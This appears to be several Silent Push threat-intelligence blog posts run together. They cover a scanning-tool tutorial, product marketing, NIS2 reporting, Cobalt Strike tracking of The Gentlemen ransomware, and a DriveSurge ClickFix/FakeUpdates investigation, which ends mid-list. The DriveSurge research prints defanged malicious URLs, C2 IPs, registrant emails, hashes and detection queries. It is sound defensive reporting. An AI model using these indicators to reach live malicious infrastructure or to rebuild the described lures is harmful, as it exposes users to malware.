Live Scan allows you to extract real-time data from a single URL on the clearnet or darkweb, across a range of categories, and view historical scan results for the specified URL.
You can use Live Scan datasets to perform additional DNS and hash-based pivots, map out attacker TTPs, pinpoint malicious infrastructure and gather intelligence on specific attack vectors and threat groups.
This blog will show you how to perform a Live Scan query, and how to work with the dataset to produce actionable intelligence.
‘Live Scan’ video tutorial
Before you read the blog, check out our tutorial video that covers off the basics:
Scanning a URL
Live Scan is available as part of a Silent Push Community or Enterprise subscription. There are two ways to execute a URL scan:
Input any public or .onion URL into the search box on the home page, and click ‘Live Scan’
Navigate to ‘Explore Web Data > Live Scan’
Viewing ‘Live Scan’ results
Scan results, including a live screenshot of the URL, are populated below the search box:
The ‘Query Results’ section contains the following data, with a range of use cases across the board:
HTML data: Establish site functionality and identify common phishing indicators.
Live screenshot: Preview how the site appears to users.
Favicon data, including hash values: Track hash values toidentify favicon spoofing or phishing attempts.
Redirect chain: Identify suspicious URL destinations and attack vectors across a full redirect chain.
Body data, including hash values: Detect similar page layouts across attacker infrastructure. Uncover phishing kits and forms attributed to specific threat actors.
Open directories: Pinpoint open directories and publicly exposed data.
SSL data: Verify the validity of SSL certificates, identify signs of an SSL stripping attack and and assess the encryption strength of a domain.
Risk score of the domain and IP: View risk scores for the destination domain and hosting IP.
You can also use any of the hash values returned to detect similar infrastructure.
Read our Knowledge Base for a full list of fuzzy and exact match hash values used within the platform, including body similarity hashes, favicon md5 and Murmur3 hashes, and proprietary script, certificate and header hash values.
Viewing historical scan results
Live Scan gives you the ability to view historical scan results related to your chosen URL, allowing you to gather all the data that’s ever been collected for a single URL.
The feature automatically executes a Web Scanner query for your chosen URL, including the relevant data source.
You can use the Web Scanner UI to adjust query parameters and narrow your search to produce targeted datasets:
Historical scan results
Working with the raw data
You can view scanned data in raw format, and copy it to the clipboard to feed into your existing security stack, or share with your team:
‘Basic Raw Data’ view
View risk scores for a URL
Risk scores help you to make operational judgements based on the likelihood of a URL being involved in malicious activity.
Risk scores are displayed for the destination URL and the hosting IP, immediately above the screenshot in the ‘Query Results’ section:
With nation-state actors, criminal organizations, and APT groups building attack infrastructure long before they strike, the question of which platform gives defenders the earliest, most actionable visibility has never mattered more. Each year, The Hacker News, the world’s #1 cybersecurity publisher, recognizes the companies setting the standard through its Cybersecurity Stars Awards. This year, one platform stood out above the rest in national cyber defense.
Silent Push Co-Founder and CEO Ken Bagnall acknowledged the team and the customers who make it possible:
“This award reflects the hard work of our entire team and the trust of the organizations that depend on us to protect their most cricitical infrastructure. We’re proud to be recognized for the work that matters most: stopping attacks before they happen.”
Detect Adversary Infrastructure Before It Breaches Your Perimeter
Most security tools surface threats only after malicious activity is already underway. Silent Push takes a fundamentally different approach. Our Preemptive Cyber Defense platform delivers real-time visibility into previously unknown adversary-controlled infrastructure, generating Indicators of Future Attack® (IOFA) that allow security teams to neutralize threats before they are launched.
Used by U.S. government organizations, Fortune 10 companies, and prominent global brands, our technology maps the domains, IPs, and hosting providers that attackers rely on to stage and execute operations, exposing malicious intent at the preparation phase, weeks before an attack begins.
The Hacker News specifically recognized Silent Push in the National Cyber Defense category, reflecting the platform’s growing role in helping federal agencies, law enforcement, and intelligence community organizations get ahead of nation-state actors and APT groups during the setup and staging phases of an attack, not after the damage is done.
Book a Demo – Sign Up for Community Edition
Interested in learning more about the Silent Push preemptive cyber defense platform?
Start a conversation with our platform experts to see how our solutions can protect your organization by neutralizing threats before an attack is fully launched.
What is Silent Push’s Preemptive Cyber Defense Platform? Silent Push is a Preemptive Cyber Defense Platform that gives security teams real-time visibility into adversary-controlled infrastructure before it is used in an attack. The platform maps domains, IP addresses, and hosting providers that threat actors use to stage operations, and generates Indicators of Future Attack® (IOFA) that allow security teams to act during the preparation phase of an attack, weeks before exploitation begins.
What is an Indicator of Future Attack (IOFA)? An Indicator of Future Attack® (IOFA®) is a proprietary signal generated by Silent Push that identifies adversary infrastructure and attack patterns before any exploitation begins. Traditional Indicators of Compromise (IOCs) are forensic artifacts collected after a breach has already occurred. IOFAs give security teams actionable intelligence during the window between attacker planning and attack execution, when threats can still be neutralized.
How does Silent Push detect adversary infrastructure before an attack? Silent Push continuously analyzes DNS records, IP ranges, hosting patterns, and other infrastructure signals to identify domains and servers being staged for malicious use. When the platform detects patterns associated with known threat actors or attack preparation, it generates an IOFA and alerts security teams. This gives defenders visibility into attacker activity during the setup phase, before any malicious traffic reaches their environment.
What is the Best National Cyber Defense Platform award? The Best National Cyber Defense Platform award is part of the annual Cybersecurity Stars Awards program run by The Hacker News, the world’s #1 cybersecurity publisher. It recognizes the security platform that has demonstrated the strongest capability in defending national infrastructure against advanced threats, including nation-state actors and APT groups.
Why did Silent Push win the Best National Cyber Defense Platform award in 2026? Silent Push was named the Best National Cyber Defense Platform in the 2026 Cybersecurity Stars Awards because of its ability to identify adversary infrastructure during the setup and staging phases of an attack. The platform is used by U.S. government organizations, federal agencies, and intelligence community organizations to get ahead of nation-state actors and APT groups before attacks are launched.
Who uses Silent Push? Silent Push is used by U.S. government organizations, Fortune 10 companies, law enforcement agencies, intelligence community organizations, and prominent global brands. The platform is designed for security teams responsible for defending critical national infrastructure against nation-state actors, criminal organizations, and APT groups.
How is Silent Push different from traditional threat intelligence platforms? Silent Push generates Indicators of Future Attack® (IOFA) that identify adversary infrastructure during the preparation phase of an attack. Traditional threat intelligence platforms deliver Indicators of Compromise (IOCs), which are collected after a breach has occurred. Silent Push gives security teams the ability to act before an attack is launched, rather than responding after the damage is done.
What did Silent Push’s CEO say about winning the 2026 Cybersecurity Stars Award? Silent Push Co-Founder and CEO Ken Bagnall said: “This award reflects the hard work of our entire team and the trust of the organizations that depend on us to protect their most critical infrastructure. We’re proud to be recognized for the work that matters most: stopping attacks before they happen.”
When the OCCIP flash alert dropped about fraudulent World Cup ticket and merchandise sites, I figured it was a good excuse to dig in. The report tied the activity to Ghost Stadium, a Chinese-speaking cybercriminal group, and included a solid list of seed domains. That’s usually all I need.
I pulled those seeds into Silent Push and used the MCP server with Claude to run the investigation. The prompt was to find the larger cluster and generate queries I can use to track new infrastructure as it spins up.
The sites were reusing the same favicons and the domains followed a consistent registration format: two or three letter prefix, then “26fifashop.site.top.” On the first day of the World Cup, 227 new domains matching that pattern had already been registered.
From there it’s straightforward. I took the generated queries into the Context Graph, confirmed the cluster, then dropped those same queries into XSOAR to run daily. Deduplicate the results, query Splunk, push to a watchlist or blocklist. Your tools stay current without someone manually hunting for new sites every morning.
If you’re already running Claude or any agentic platform, connecting it to Silent Push via the MCP server means the pivot work, query generation, and reporting all happen in one flow. No context switching.
How the Silent Push MCP server works with threat investigations
The Silent Push MCP server connects Silent Push’s datasets directly to AI and agentic platforms like Claude. Instead of manually running pivots across DNS data, web content fingerprints, and domain registration patterns inside the platform, you describe what you’re investigating and the MCP server handles the data retrieval and correlation. It returns enriched results, identifies infrastructure patterns, and generates queries you can use to track new domains matching those patterns over time. Those queries run directly in Silent Push’s Context Graph or feed into your existing SOAR and SIEM workflows. The MCP server is available with the Silent Push Enterprise Edition.
What is Ghost Stadium?
Ghost Stadium is a Chinese-speaking cybercriminal operation that builds scalable fraud ecosystems around major events. The group spins up large volumes of lookalike sites designed to sell fake tickets and merchandise, using shared infrastructure patterns (favicons, domain naming conventions, hosting clusters) that make the sites faster to deploy at scale and, with the right tooling, faster to detect.
What is the Silent Push Context Graph?
The Context Graph is Silent Push’s infrastructure correlation engine. It aggregates DNS records, WHOIS data, host scans, SSL certificates, and web content fingerprints to map relationships between domains, IPs, and threat actor infrastructure. Analysts use it to pivot from a single seed domain to a full infrastructure cluster, identify reused assets like favicons or ASN patterns, and generate detection queries that track new infrastructure matching the same behavioral fingerprints.
Sign up for Community Edition to explore our datasets for free. To use the Silent Push MCP server, get in touch with our team.
Attack campaigns begin weeks or months before an alert fires. By the time a detection tool has something to work with, a threat actor has already registered domains, provisioned servers, configured DNS records, and tested infrastructure. That groundwork is the preparation phase, and it sits almost entirely outside the coverage of conventional threat intelligence tooling.
What Is the Preparation Phase?
The preparation phase is the period during which a threat actor builds and stages the infrastructure they intend to use in an attack. It covers domain registration, server provisioning, DNS configuration, certificate issuance, and pre-deployment testing. It ends when the campaign goes live.
Because no malicious events have occurred yet during this phase, the infrastructure being assembled appears indistinguishable from legitimate activity. There’s no endpoint behavior to flag, no connection to a known-bad indicator, and no log entry to correlate. Conventional detection tools have no signal to act on. Traditional threat data, as a result, captures roughly the final 5% of the offensive lifecycle, the point at which infrastructure is already operational and a malicious campaign is already running.
Where the IOC Timeline Actually Starts
When an Indicator of Compromise (IOC) surfaces in your stack, the threat actor behind it has often been working for weeks, and in many campaigns, months, before that point. Domains were registered and often deliberately left dormant to avoid new-registration scrutiny. Servers have also been provisioned, configured, and tested well before the campaign launched.
Security platforms built around SIEMs, EDR, and blocklists were designed around event-driven logic: something needs to happen at the endpoint, in the logs, or against a known-bad indicator before a rule can fire. That design reflects a deliberate architectural choice about where in the attack lifecycle those tools were intended to operate. The preparation phase sits upstream of all of it, which is why those tools don’t see it, and why expecting them to is asking them to do something they were never designed for.
What Happens During the Preparation Phase
The preparation phase follows a recognizable operational pattern across campaigns, even as specific assets rotate.
Some preparation-phase activities are generic, with infrastructure being built before a target is even selected. Other campaigns involve highly tailored staging, with domains that spoof a specific organization, or certificates that mimic their services. In either case, the behavioral patterns identified by the Silent Push Context Graph remain consistent.
Why Standard Threat Intelligence Arrives Late
SIEMs, EDR platforms, blocklists, and standard threat intelligence feeds share a common dependency: something has to have happened before they can act. A blocklist entry requires an indicator that has already been used maliciously. An EDR alert requires observable endpoint behavior. A SIEM correlation rule requires log data from an event that has already occurred. Threat intelligence feeds document what has been observed, meaning campaigns that have run, infrastructure that has been weaponized, and victims who have already been hit.
The data collection cycle works like this: an incident occurs, it generates data, which is processed into indicators, and those indicators eventually reach your stack. By the time that cycle completes, the preparation phase for the follow-on campaign may already be done. Traditional security tools are processing accurately and at pace, but they’re focused on activity that has already happened.
Where Defenders Have the Most Leverage
During the preparation phase, staged infrastructure can still be blocked before any breach occurs, and campaigns that have not yet launched can be disrupted without incident. Once a campaign goes operational, defensive options narrow significantly because the attacker is already inside the timeline.
Silent Push Preemptive Cyber Defense was built to operate during the preparation phase. The platform continuously maps internet infrastructure across DNS, WHOIS, certificate data, and host configurations, analyzing both known-bad assets and the behavioral patterns that appear when infrastructure is being built and managed in ways consistent with adversarial Tactics, Techniques, and Procedures (TTPs). When those patterns match the operational signatures of how campaigns are staged, our proactive technology generates Indicators of Future Attack® (IOFA): verified signals of staging environments that exist before they have been used against anyone.
The average early-detection lead time from that process is 104 days ahead of a traditional SIEM alert. For Advanced Persistent Threat (APT) campaigns, the lead time has exceeded 300 days.
What This Looks Like for Each Team
SOC managers working from IOC-based feeds are responding to activity that is already running. The infrastructure has been live for weeks, the campaign is operational, and alert volume is climbing. Integrating IOFA from the Context Graph into your existing stack gives your team lead time to push verified indicators into blocklists and validate staging infrastructure before that volume spike happens. Your analysts are working from current adversary data rather than reacting to events already in motion.
IR leads arriving at an active breach begin with a single known indicator. What that indicator rarely provides is a complete picture of what the attacker has staged and is ready to use. Adversaries build infrastructure with redundancy, so if your remediation only covers the assets identified during the active investigation, there is a real chance the attacker has left themselves a route back in. Silent Push tracks infrastructure relationships, DNS history, and WHOIS lineage so that a single starting indicator can be expanded into the full cluster of adversary-controlled assets, including fallback infrastructure the attacker intended to rely on if their primary domains or IPs were discovered.
CTI analysts delivering post-breach briefs are documenting what has already happened, which limits what a SOC can do with the output. Delivering IOFA for infrastructure that is now being staged, before it becomes an IOC anywhere, changes the operational value of that brief considerably. The Context Graph pre-correlates across 200+ behavioral parameters so that when you run queries in SPQL, the clustering is already complete, and the pivot work starts from a much earlier position.
See the Preparation Phase Before It Becomes an Incident
Silent Push IOFA are built on pre-breach infrastructure data. Our platform gives security teams visibility into adversary staging environments before weaponization and before alerts begin.
Block staging grounds before campaigns deploy. Silent Push pushes IOFA into your existing blocklists and SIEM, so your team can act on current adversary infrastructure rather than last month’s IOC feed.
Ingest earlier, more accurate indicators via automated feed exports. IOFA feeds are updated continuously with the latest research from our analyst team.
Track APT campaigns from the infrastructure up. Pre-built IOFA feeds give your team visibility into the staging patterns of APTs, an average of 104 days before those indicators appear elsewhere.
Getting Started
Request a demo to see how Silent Push surfaces the preparation phase in your environment.
The 24-hour early warning obligation in NIS2 is the requirement most security teams are least prepared to meet. Many have read the directive, however few have pressure-tested their detection capability against it.
Under Article 23 of EU Directive 2022/2555, organizations in scope have 24 hours from the moment they become “aware” of a significant incident to file an early warning with their national competent authority. They have 72 hours to submit a full incident notification. And within one month, a final report is due.
That first 24-hour window is where most organizations are going to run into trouble. Filing a credible early warning requires infrastructure context that traditional threat intelligence was never designed to provide.
NIS2 covers more than you think
NIS2 applies to a significantly wider range of sectors than its predecessor. Energy, transport, banking, financial market infrastructure, health, drinking water, wastewater, digital infrastructure, public administration, and space are all in scope. If you operate critical infrastructure or essential services anywhere in the EU, the directive applies to you.
The “significant incident” threshold is defined broadly. An incident qualifies if it has caused or is capable of causing severe operational disruption, financial loss, or material or immaterial damage to other entities. That is a low bar. Most organizations will cross it before they realize they have.
The phrase “becoming aware” is doing a lot of work in that 24-hour obligation. In practice, security teams become aware of an incident when an alert fires in their SIEM. By that point, the attacker has already been operational for some time.
The personal liability piece is worth flagging separately. Under NIS2, management bodies can be held personally liable for infringements. Senior executives are required to approve cybersecurity risk management measures and can face sanctions if their organization fails to comply. For most security leaders, that changes the conversation with the board significantly.
Assess your readiness across all three NIS2 windows
The NIS2 Incident Reporting Readiness Checklist covers detection capability, the 24-hour early warning, the 72-hour full notification, and the 30-day final report. Use it to find the gaps before an incident opens the clock.
Most security teams are running on IOCs: fragmented, point-in-time indicators that document what an attacker used, pulled from third-party feeds, and often stale by the time they arrive. A domain hash from a breach last month. An IP address that has since rotated. A file signature from a campaign that has already moved on.
IOCs tell you what happened. They rarely tell you who built the infrastructure, when they built it, what else they registered at the same time, or what is sitting dormant waiting to be activated. For day-to-day detection that gap is manageable. For NIS2 incident reporting, it creates a real problem.
Regulators expect your early warning to contain meaningful initial information: the nature of the incident, the systems affected, and a preliminary assessment of scope. That requires you to understand the full infrastructure picture, not just the indicator that fired the alert. Third-party IOC feeds were built for a different job.
What the NIS2 24-hour window actually requires from your detection capability
In practice, filing a complete early warning within 24 hours requires your team to already have infrastructure context assembled before the investigation begins. Most incident investigations start from a single indicator and expand outward from there, which takes time the regulation does not give you.
To file accurately, your team needs to answer three questions quickly.
What infrastructure is involved? The attacker’s staging environment is a cluster of assets: domains registered in the same batch, IPs sharing hosting patterns, certificates rotating on the same schedule. A single IOC shows you one node. NIS2 requires you to account for the cluster.
How long has this been active? Regulators will want to know when the incident began, not just when you detected it. If you cannot reconstruct the timeline from your own data, your notification will be incomplete.
What else is connected? Campaign infrastructure is built with redundancy. If you report on what you found and miss the rest, you risk having to revise or resubmit as more surfaces, which carries its own regulatory exposure.
How preemptive detection changes the compliance picture
The Silent Push Context Graph aggregates DNS, WHOIS, certificate data, host scans, traffic sensor data and behavioral fingerprints across the full IPv4 and IPv6 range, every day. It maps the relationships between internet assets continuously, so when an incident indicator surfaces, the infrastructure connected to it is already correlated.
Your analyst is not starting from a single stale IOC and manually pivoting across fragmented tools trying to reconstruct a picture under a 24-hour deadline. The related infrastructure cluster is already mapped. DNS history and WHOIS records show when it was first stood up. Dormant assets connected to the same campaign are visible.
At T+24, your notification goes in with an infrastructure map and a preliminary timeline attached. At T+72, the full footprint is documented with an accurate start date confirmed. At 30 days, the report reflects what actually happened, with TTPs logged and management sign-off recorded.
The average detection lead time across Silent Push customers is 104 days. For NIS2 purposes, that means the infrastructure behind a significant incident is often visible and already correlated long before an alert fires.
NIS2, agentic workflows, and the data quality problem
A lot of teams are now looking at automating parts of incident response, and the 24-hour window is an obvious candidate. The problem is that automation is only as good as the data it runs on. An AI agent triaging an incident or drafting an early warning needs infrastructure context it can act on with real confidence. Feed it fragmented, stale IOC data and you get unreliable outputs at exactly the moment reliability matters most.
The Context Graph was built to be machine-consumable from day one: 250+ API endpoints, deterministic attribution, and clear confidence signals that give automated workflows something solid to act on. For teams building agentic pipelines, that matters a lot.
The EU AI Act (Regulation 2024/1689) adds a separate obligation for organizations deploying AI-assisted security systems. High-quality, verifiable inference data is an explicit requirement. Silent Push infrastructure data carries full provenance, which directly supports that for teams building automated detection and response into their stack.
What good looks like
When an incident is confirmed, your team should be able to pull up a correlated infrastructure map, establish when the staging environment was first built, identify connected assets including dormant ones, and have a credible draft early warning ready well within the 24-hour window. The investigation is not starting from scratch. It is starting from a picture that has been building continuously in the background.
At the 72-hour mark, the full cluster is documented, the timeline is accurate, and containment covers everything the attacker built, not just the subset that surfaced during the active incident. At 30 days, the final report has no gaps that require explanation.
Security teams that get there consistently have one thing in common: the underlying infrastructure data is correlated, current, and complete before the incident ever surfaces. Talk with our team to learn more.
What sectors does NIS2 apply to?
NIS2 applies to essential and important entities across energy, transport, banking, financial market infrastructure, health, drinking water, wastewater, digital infrastructure, ICT service management, public administration, and space. It also covers a wider range of digital service providers than NIS1, including managed service providers and cloud platforms.
What counts as a “significant incident” under NIS2?
An incident is significant if it has caused or is capable of causing severe operational disruption to the provision of services, financial loss to the entity, or material or immaterial damage to other natural or legal persons. Organizations should assess whether the threshold is met as early as possible, rather than waiting for confirmed damage.
How does Silent Push help meet the 24-hour early warning obligation?
The Silent Push Context Graph pre-correlates attacker infrastructure data across DNS, WHOIS, certificate records, and host scan data continuously. When an incident indicator surfaces, the related infrastructure cluster is already mapped. Investigation that would otherwise take hours of manual pivoting across tools completes in minutes, giving teams the context they need to file a credible early warning within the required window.
Does Silent Push cover third-party ICT risk monitoring for NIS2?
Yes. The Discover Shadow IT query surfaces unmanaged third-party services connected to your domain. Active tracking monitors providers like Mailchimp, SendGrid, and similar platforms for signs of weaponization. Brand impersonation detection identifies lookalike domains and fake login pages at registration. These capabilities directly support the supply chain risk monitoring obligations under NIS2.
Brian Krebs of KrebsonSecurity published a piece this week identifying the person allegedly behind The Gentlemen ransomware operation. It’s good work and puts a spotlight back on the Ransomware-as-a-Service (RaaS) group that has been moving fast since mid-2025.
We covered The Gentlemen in an April blog, “No Place to Hide: Following a Serial Ransomware Affiliate from LockBit, Black Basta, and Qilin to The Gentlemen,” based on our deep research in 2025. The blog focuses on the infrastructure and affiliate activity underpinning the operation, specifically an affiliate we had been tracking across four ransomware groups for the better part of three years. Here is what that research found, and what defenders should have in place today.
The Affiliate Trail, From CountLoader to The Gentlemen
In July and August 2025, Silent Push Preemptive Cyber Defense Analysts identified a new malware loader we named CountLoader, observed in three distinct versions: .NET, PowerShell, and JScript. The more significant finding was what CountLoader led to: two Cobalt Strike watermarks, 1473793097 and 1357776117, fingerprinted to a single ransomware affiliate with verifiable ties to Black Basta, LockBit, and Qilin activity. We published those findings in an exclusive client-facing report in August 2025, followed by our public blog, “CountLoader: Silent Push Discovers New Malware Loader Being Served in Three Different Versions,” on September 18, 2025.
Cobalt Strike licenses carry unique identifiers. When an affiliate uses the same licensed instance across campaigns and RaaS platforms, those watermarks follow them. A RaaS affiliation is replaceable, but the tooling fingerprint is not. That’s what makes Cobalt Strike watermarks a reliable tracking mechanism across brand changes.
On February 8, 2026, Silent Push flagged 91.107.247[.]163 as a Cobalt Strike C2, issuing an Indicators of Future Attack® (IOFA) alert to customers. Blocking was pushed automatically to firewalls, SIEMs, and EDR platforms that day.
On April 20, 2026, Check Point published a DFIR report on an intrusion by The Gentlemen. The report identified 91.107.247[.]163 as the Cobalt Strike C2 used in the attack. Silent Push had flagged that IP 76 days earlier, and customers had blocks in place across the board.
That 76-day window is where preemptive cyber defense operates.
What the Infrastructure Picture Adds to the Operator Picture
While Krebs answers who is running the operation, infrastructure attribution answers what they are running it on, and how to detect the same actor even when they move between ransomware groups.
The affiliate tracked in our research has worked across LockBit, Black Basta, Qilin, and The Gentlemen. The RaaS group they operate under is interchangeable, and the Cobalt Strike watermarks follow them regardless. Such persistence is what allows Silent Push to maintain a high-confidence trail across three years of activity spanning four ransomware programs.
What to Block and Monitor Now
Cobalt Strike is well known to be used by many threat actors and Advanced Persistent Threat (APT) groups. Our IOFA for Cobalt Strike C2 Domains and C2 IPs, as well as Cobalt Strike Domains and Cobalt Strike IPs, are available for enterprise clients.
Initial access: The Gentlemen affiliates favor internet-facing VPN and firewall appliances as entry points. Organizations that have not audited and patched those surfaces recently should treat that as an immediate priority.
IOFA feeds: Exclusive to enterprise clients, Silent Push Cobalt Strike IOFA feeds are available via API and STIX/TAXII for direct integration into your firewall, SIEM, or EDR. That integration is what put our customers ahead of this intrusion by 76 days.
To learn more about Silent Push preemptive cyber defense and how we work with organizations to neutralize threats before threat actors can execute, start a conversation with our experts.
Join the second session of our Community Bootcamp.
So you’re getting to know the Silent Push platform but want to go beyond the basics? Join us on June 23rd as we show you how to use Total View to take your investigations further.
Silent Push Preemptive Cyber Defense Analysts recently observed several drive-by attack clusters developed by a threat actor to automate malware delivery at scale. We named the primary driver behind an extensive surge in ClickFix and FakeUpdates campaigns: DriveSurge.
Current activity suggests DriveSurge operates as a specialized Initial Access Broker (IAB), using a Pay-Per-Install (PPI) model to supply downstream threat actors with high-quality victim leads.
DriveSurge has compromised thousands of websites that set zTDS domains to traffic victims to ClickFix and Fakeupdates websites.
Our research uncovered a series of eight technical fingerprints that map DriveSurge’s malicious infrastructure.
Executive Summary
What makes DriveSurge notable isn’t just the volume of its activity; it’s the sophistication of its infrastructure, the breadth of its targets, and the fact that it has been operating largely undetected until now.
Its primary weapon is a technique known as a Traffic Distribution System (TDS), and it specifically uses an open-source variant called zTDS, which has been in use since at least 2015, and is publicly available at ztds[.]info. Using zTDS, DriveSurge hijacks thousands of legitimate, high-reputation websites and silently redirects visitors to malware, unbeknownst to the sites’ owners or their visitors.
Based on our research, we suspect DriveSurge uses a Pay-Per-Install (PPI) model, where it is paid each time a victim’s device is successfully infected, with those leads then sold downstream to other threat actors.
DriveSurge attacks are elegant in their deception. A user visits a legitimate website for a business, a professional services firm, or a local organization that has secretly been compromised. Hidden malicious code, injected by DriveSurge, runs in the background and routes the visitor through zTDS, which profiles the visitor and decides what to serve them next.
From there, the victim typically encounters one of two scenarios:
FakeUpdates: A convincing browser update prompt appears, impersonating Google Chrome, Mozilla Firefox, Microsoft Edge, Safari, Opera Browser, Brave Browser, Yandex Browser, Vivaldi, Samsung Internet, UC Browser, or an “Other” category browser, urging the user to download what is actually malware disguised as a legitimate browser update.
In one analyzed instance on the compromised site jclforwarding[.]com, the malicious domain check[.]first-node[.]rocks served a fake Mozilla Firefox update page. Clicking the update button triggered the download of a ZIP file containing several DLLs and a “Browser Update[.]exe”.
ClickFix: A fake error message instructs the user to copy and paste a “fix” into their terminal or PowerShell window. The “fix” is a malicious command that installs malware directly onto their system. In one confirmed instance, ClickFix was observed attempting to pull malicious code from IP 91.92.240[.]127, an address already listed in our Bulletproof Hosting Indicators of Future Attack® (IOFA) feeds before this discovery.
Both methods are designed to exploit trust in a website the user is familiar with, in a browser they use every day, in a security prompt that looks entirely routine.
Research Methodology and Initial Intelligence
Our research into DriveSurge began by leveraging intelligence from our Bulletproof Hosting White Paper, which identifies NiceNIC as a registrar frequently utilized by malicious actors. By hunting for instances where NiceNIC-registered domains were loaded externally into other websites, using our proprietary web resource technology, we successfully uncovered multiple large-scale threat clusters, including DriveSurge.
In February 2026, we tested this methodology by collecting all NiceNIC domains from our IOFA feed and checking whether any had been externally loaded onto another website in the prior month. The script processed 100,000 domains per run and returned a JSON output of web resource results for analysis. From this, we identified at least 10 distinct threat clusters.
The rest of this blog describes the eight fingerprints we developed, the follow-on analysis, and the findings from our investigation of the DriveSurge cluster.
Note: This same methodology can be applied beyond NiceNIC by searching for any domains loaded externally from specific bulletproof hosters’ ASNs.
In the initial web resources data, we identified several external resources injecting a JavaScript file following a unique pattern: a fileparameter starting with site=[32 hexadecimal character string] with the filename t.js, externally loaded relative to the compromised hostname.
For example: hxxps[:]//beacontrace[.]bond/t.js?site=0ca424475803a1cb54908a81a00bd93f
The 32-character hexadecimal string is believed to be a unique identifier for each victim website, telling the attacker’s server exactly which site the stolen data is coming from. This fingerprint enabled us to compile lists of malicious DriveSurge domains and the corresponding victim websites.
While reviewing domains revealed in Fingerprint 1, we noticed they were also serving JavaScript files using a different pattern: filename starts with t., followed by a 12-hexadecimal string, ending with .js, externally loaded.
We discovered that the 12 hexadecimal characters matched the first 12 characters of the file’s SHA256 hash, a file-naming convention we had not previously encountered, suggesting the threat actor intentionally integrated this logic into their obfuscation. We are extending our investigation to determine if this unique signature identifies additional related threat clusters.
A third file pattern emerged from the Fingerprint 1 domains: filename starting with ext-b or ext, followed by the first 12 characters of the file’s SHA256 (as in Fingerprint 2), ending with .js, externally loaded. As with the previous fingerprints, this yielded additional lists of malicious DriveSurge domains and victim websites.
Web Search query link datasource = ["webresources"] AND filename ~= "^ext(-b)?\.[a-f0-9]{12}\.js$" AND external = "true"
Web Search query results
Fingerprint 4: Malicious Server Configuration
By analyzing results from the first three fingerprints, we identified a pattern that enables us to fingerprint malicious server configurations directly, without relying on filename structure.
Web Search query link datasource = ["webscan"] AND HHV = "809360090d06400845c9ee1802" AND header.server = "nginx/1.27.2" AND jarm = "15d3fd16d29d29d00042d43d000000ea552d307cdd65a9a94fec1293390a04" AND htmltitle = "404 Not Found" AND body_analysis.body_sha256 = ["29ac78c51bcdfe68c64830bdeb6e41437dd55e2691149741c9b78be03b6c82ea", "a84b032b49773c2318b11b1164d1aada69e940229aedbf8185c33fc7dd1d2cdf"]
After reviewing all malicious DriveSurge domains from the first four fingerprints, we identified a consistent infrastructure setup pattern across the majority of them:
Field
Value
Top Level Domain (TLD)
.icu
Name Server Name
ns1.erans[.]ru
MX Name
self (self-named)
ASnum
203273, 210644
Registrar
NiceNIC
Using our Domain Search capability (available exclusively for enterprise customers), we crafted this pattern into a search that identified 90 hostnames, 39 of which were unique after removing subdomains. Of those 39 domains, 7 were not yet delivering malicious injects as of this writing (May 2026), representing pre-weaponized infrastructure we were able to identify and flag in advance:
brightson[.]icu
coverlink[.]icu
datumprobe[.]icu
eraggifts[.]icu
keyview[.]icu
traceglimpse[.]icu
tracekey[.]icu
All other domains found in this search were also discoverable via Fingerprints 1, 2, or 3.
Fingerprint 6: WHOIS (Registration Email Pivot)
Checking all 82 unique malicious inject domains in our WHOIS datasource, we found several registered with the email address thiagorivera197151[@]ycyfugihih[.]cfd. A new fingerprint built on this email identified 6 additional domains not previously seen, and will help track future DriveSurge domains not yet set up for malicious inject, making it ideal for detecting TTP drift.
We believe this is a dedicated DriveSurge registration email, with the first domain registered on April 8, 2026. Pivoting on the domain ycyfugihih[.]cfd (seen in the email address) reveals MX records pointing to tempmail[.]so, a temporary email service provider that also offers long-term mailbox use for registered accounts.
The domain revealed MX records pointing to tempmail[.]so
Since DriveSurge registered domains using this email over a two-week period, we believe they established a long-term account, meaning they likely have additional email addresses set up with tempmail[.]so.
Temporary email service provider tempmail[.]so provides long-term use services
Analysis of Compromised Websites Serving Fake Updates
With several fingerprints now uncovering hundreds of compromised sites, we took a closer look at one compromised domain — jclforwarding[.]com — to discover additional infrastructure. We queried to filter out obvious legitimate external resources and surface suspicious domains:
Web Search query link datasource = ["webresources"] AND external = "true" AND hostname = "jclforwarding.com" AND resource_domain != "google.com" AND resource_domain != "googleapis.com" AND resource_domain != "wsimg.com" AND resource_domain != "gstatic.com" AND datahash = "428bd0b0ac36dfdd223b3953dbe61c0baf227f893310b03e7afe3111462019c6"
Web Search query results
This revealed several suspicious domains being loaded into the site, some matching existing fingerprints (webgleam[.]info) and others that warranted further investigation:
check[.]first-node[.]rocks
cptoptious[.]com
webgleam[.]info
banerpanel[.]live
testio[.]ecartdev[.]com
maxintora[.]com
Fingerprint 7: WHOIS (Second Email Pivot)
Checking the new domains in the WHOIS datasource quickly revealed another threat actor email address. Using this as a new fingerprint yielded several more malicious domains:
Mozilla Firefox Fake Update Plus 11 Other Browsers
The Mozilla Firefox fake update page triggered on jclforwarding[.]com was being served through check[.]first-node[.]rocks.
The update button triggered the download of a ZIP file (SHA256: 90aecb370dfb1a99a1f7de0a9c6842ab1b664521fddea16b0ec9a91f322646fc) containing several DLLs and a “Browser Update[.]exe”.
Screenshot of the Mozilla Firefox Update page triggered on the compromised site
Screenshot of the ZIP file downloaded by the update
Deeper analysis of the script.js file injected by check[.]first-node[.]rocks revealed that while it served the Firefox fake update in our environment, it can impersonate 11 browsers: Google Chrome, Mozilla Firefox, Microsoft Edge, Safari, Opera Browser, Brave Browser, Yandex Browser, Vivaldi, Samsung Internet, and UC Browser, plus an “Other” category.
Screenshot of the malicious domain check[.]first-node[.]rocks
In the screenshot below, we can trigger a server response that highlights the server’s capabilities and what it tracks when a page visitor visits the malicious hostname. We were able to download the file, which we then uploaded to VirusTotal and now share (below):
Screenshot of check[.]first-node[.]rocks
zTDS — Traffic Distribution System
The domain cptoptious[.]com, also loaded into jcdlforwarding[.]com was confirmed to be serving zTDS version 1.0.3.
Screenshot of Live Scan results for domain cptoptious[.]com
By scanning the infrastructure with a wordlist, we discovered a publicly accessible changelog.txt file confirming that this TDS has existed since at least 2015 and is available at ztds[.]info.
Screenshot of ztds[.]info (in Russian)
We were able to summarize the capabilities of zTDS by translating (via Google Translate) the changelog information:
‘Added database/blacklist_asn.dat to block unwanted ASNs.’
‘Added database/blacklist_ip.dat to block unwanted IPs.’
‘Added database/signature_ref.dat to block traffic by referrer.’
‘Bot signatures moved to database/signature_ua.txt.’
‘Update bot IP lists from ztds[.]info.’
‘Manage api_v2.php settings from the TDS admin panel.’
‘Mobile operator IPs merged into one file: wap[.]txt.’
‘Captcha settings moved to config.php.
